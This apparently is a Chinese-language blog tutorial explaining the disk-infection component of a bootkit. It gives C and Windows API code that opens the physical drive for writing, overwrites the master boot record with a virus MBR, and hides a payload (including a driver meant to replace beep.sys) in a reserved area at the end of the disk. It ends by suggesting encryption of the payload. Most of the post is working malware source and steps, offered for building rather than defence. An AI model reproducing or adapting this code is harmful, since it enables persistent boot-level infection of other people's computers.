BootKit之感染磁盘部分
Sjtujg
这部分代码实际上就是最后的病毒,负责将病毒字节内容写到磁盘上一块隐蔽的区域,每次开机启动的时候就从该磁盘区域中将病毒读入内存中。
这部分代码与VirusMbr和PmVirus相比要简单的多,主要是C代码结合一些windows api。下面结合一些关键部分进行解释。
待写入磁盘的病毒内容已经转换成了unsigned char型数组VirusMbr[]和PmVirus[],他们作为头文件被包含。为了感染MBR并将其余内容写到磁盘的某个偏移位置所需的流程如下:
1、打开磁盘
2、获得磁盘总容量
3、在磁盘的末尾处选择一个位置作为驻留区
4、将VirusMbr[]的内容写到磁盘的第一个扇区也就是MBR中去
5、将PmVirus[]的内容写到之前确定的磁盘偏移处去
在上述的流程中还有许多细节要处理现在一一说明一下
打开磁盘当然利用了windows api函数:
hDrive=CreateFileA("\\\\.\\PhysicalDrive0",GENERIC_READ|GENERIC_WRITE,3u,0,3u,0,0);
以可读可写的方式打开.
在判断打开成功后再往下进行,判断条件(hDrive==INVALID_HANDLE_VALUE)?
为了获得磁盘容量的信息,要利用DeviceIoControl和系统进行通信,对应的IOCTL_CODE是IOCTL_DISK_GET_DRIVE_GEOMETRY,具体调用语句如下:
S_or_F=DeviceIoControl(hDrive,IOCTL_DISK_GET_DRIVE_GEOMETRY,0,0,&Disk_Info,0x18u,&BytesWritten,0);
S_or_F是用来判断是否成功的标志.如果调用成功,那么就会在Disk_Info中返回磁盘的具体信息,再利用保存在Disk_Info中的磁盘信息计算磁盘的容量:
VirusOffsetBytes=Disk_Info.Cylinders.QuadPart*
Disk_Info.TracksPerCylinder*
Disk_Info.SectorsPerTrack*
Disk_Info.BytesPerSector-0x34800+0x200;
计算的原理非常简单,就是柱面数*每柱面磁道数*每磁道扇区数*每扇区字节数.
减去0x34600是随便挑选的一个数字,改变的话无关紧要.
成功获得了磁盘信息之后有一个非常重要的工作,在VirusMbr中要利用int13h扩展读从磁盘中读入20个扇区到内存中,而从磁盘哪个位置开始读取决于int13h扩展读的参数DiskPacket中的一个成员:
structDiskAddressPacket
; {
; BYTEPacketSize; // 数据包尺寸(16字节)
; BYTEReserved;// ==0
; WORDBlockCount; // 要传输的数据块个数(以扇区为单位)
; DWORD BufferAddr; // 传输缓冲地址(segment:offset)
; QWORD BlockNum; // 磁盘起始绝对块地址(以扇区为单位) }
也就是qword类型的数据BlockNum,在之前写VirusMbr代码的时候是不可能知道具体的数字的,现在才知道,所以要修改VirusMbr[]中相应的8个字节,我们可以人工找到它在virusMbr[]中的偏移然后将其改变。注意:BlockNum是以扇区为单位的,所以之前计算出的VirusOffsetBytes要除以512才得到正确的结果.
unsigned __int64 *VirusOffsetSectors=(unsigned __int64*)&VirusMbr[100];
VirusOffsetSectors是一个指向VirusMbr[]字节数组中int13h扩展读DiskAddressPacket结构体中BlockNum的指针,是一个64bit类型的值,然后简单的赋值就行了: *VirusOffsetSectors=VirusOffsetBytes/0x200;
在以上的工作都完成后就可以讲病毒写入磁盘了,实际上要分别写入磁盘的两个位置:VirusMbr写到MBR处,而PmVirus写到磁盘最末的驻留区中。
但是在将VirusMbr写到MBR中前要先读出Original MBR将其分区表及以后的内容先copy到VirusMbr中去,然后在将Original MBR在copy 到PmVirus[]数组中,以后一起被复制到磁盘驻留区中.
ReadFile(hDrive,OriMbr,0x200,&BytesWritten,0);
for(i=0;i<0x200;i++)
PmVirus[0x2400+i]=OriMbr[i]; //将OriMbr复制到PmVirus中
for(i=0;i<0x127c;i++)
PmVirus[0x400+i]=Driver[i]; //要去替换beep.sys的Driver.sys也转换成字节数组被写到PmVirus[]中去
memcpy(&VirusMbr[0x1B0],&OriMbr[0x1B0],0x50u);//复制分区表及以后的内容
下面就是讲文件指针设置到磁盘开始出(即MBR)进行写入操作:
DistanceToMove=0;
if(SetFilePointer(hDrive,0,(PLONG)&DistanceToMove,FILE_BEGIN)!=-1)
{
flag=WriteFile(hDrive,VirusMbr,0x200,&BytesWritten,0);
if(flag==0||BytesWritten!=0x200)
{
cout<<"writembr failed!\n";
getchar();
return 0;
}
}
else
{
cout<<"setfile pointer To Mbr failed!\n";
return 0;
}
在将文件指针设置到之前确定的驻留区,进行写入:
temp.QuadPart=VirusOffsetBytes;
DistanceToMove=temp.HighPart;
if(SetFilePointer(hDrive,temp.LowPart,(PLONG)&DistanceToMove,FILE_BEGIN)!=-1)
{
flag=WriteFile(hDrive,PmVirus,0x2600,&BytesWritten,0);
if(flag==0||BytesWritten!=0x2600)
{
cout<<"PmVirusfailed to be written to disk!\n";
getchar();
return 0;
}
}
else
{
cout<<"Setfile pointer to PmVirus failed!\n";
return 0;
}
这里要用到系统调用SetFilePointer.因为之前对original mbr的读写已经改变了文件指针所以要重新设置一下。
如果以上的每一步都能够正确的完成那么感染部分就成功了。不过这个过程是很简单的,可以再感染部分加一点加密的内容,也就是对要写入磁盘中的VirusMbr[]和PmVirus[]内容进行加密,对应的在VirusMbr中就要增加解密的代码,但是加解密的算法不能复杂,因为VirusMBr的可利用的空间有限。